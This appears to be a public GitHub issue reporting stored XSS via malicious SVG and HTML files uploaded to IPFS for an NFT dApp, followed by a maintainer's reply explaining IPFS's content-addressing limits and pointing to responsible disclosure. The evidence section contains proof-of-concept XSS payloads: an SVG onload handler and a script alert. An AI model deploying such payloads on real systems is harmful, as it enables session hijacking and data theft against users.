IPFS allows malicious SVG file upload

[K0RSHAK]

Description

During testing [REDACTED] dApp that uses IPFS for storing NFT files it was possible to upload an SVG file with JavaScript inside and perform the XSS attack. Moreover I was able to rewrite uploaded file with the HTML file, including JavaScript code inside.

CVSS: 4.6 Medium AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
Env: Ghostnet

Impact

Uploading and hosting an SVG file containing malicious code could lead to various attacks, including:

• Cross-Site Scripting (XSS): An attacker can embed malicious JavaScript within the SVG file, which could be executed when the file is viewed or rendered in a browser, leading to session hijacking, data theft, or unauthorized actions.
• Remote Code Execution (RCE): If the SVG contains specially crafted code and the system that processes it is vulnerable, it could lead to remote code execution on the server.
• Phishing and Social Engineering: Malicious SVGs could be used to spoof content or trick users into taking unintended actions.
• Attackers can host malicious files on legitimate resources to spread malware, etc.

Evidence

Link to check the PoC: https://ipfs.io/ipfs/QmVFs5oNkZVe4EaXkCL8xZn29ziicYnu9KbNdojT8RU59W
Payload:
SVG+XML

<svg xmlns="http://www.w3.org/2000/svg" onload="<WHAT_EVER_FUNCTION_HERE>">
  <text x="10" y="50" font-size="30">XSS PoC</text>
</svg>

HTML

<script>alert('PWND')</script>

Suggestions

• Sanitize SVG files before upload, remove any additional html attributes, that used for event handling, such as onclick, onload etc. and tags such as <img/> or <script>
• Adjust Content Security Policy to disallow in-line scripts with script-src 'none' to prevent malicious script execution
• Validate File Extensions, MIME type and Magic Number - to prevent different upload bypass technics.

[lidel]

• IPFS is not a web hosting service, but a set of protocols and a public network of user nodes for hosting content-addressed bytes as-is. "Upload sanitization" is not feasible because everyone can use code that does not run sanitization AND because it would change the hash of content (https://docs.ipfs.tech/concepts/content-addressing/)
• When we talk about Content Security Policy HTTP headers, that is something each gateway operator need to adjust to match their use case. Some gateways are public, some are limited to specific user data.
  • If you have concerns about HTTP readers returned by public gateway reach out to their operator. For example, for ipfs.io and dweb.link, fill issue in https://github.com/ipshipyard/waterworks-community/issues
  • If you have opinion about a default CSP that should be applied to existing specs, provide feedback in Sandbox resources loaded via a path gateway in-web-browsers#157 and Gateways and Content-Security-Policy  in-web-browsers#196
• Validate File Extensions, MIME type and Magic Number
  • content on IPFS has no means of preserving content-type atm, but there is a spec proposal at Create IPIP: UnixFS and Gateway support for explicit MIME/Content-Type specs#364.
  • For now, each implementaiton does their own magic bytes sniffing and sets Content-Type based on that. If you find a bug in Kubo or Rainbow, you can fill issue in upstream library https://github.com/gabriel-vasile/mimetype

@K0RSHAK i'm closing this, hopefully the above will point you in the right place to discuss further. in the future or if you still want to report a security issue, please follow https://github.com/ipfs/community/blob/master/SECURITY.md with responsible disclosure sensibility (not posting on public forums).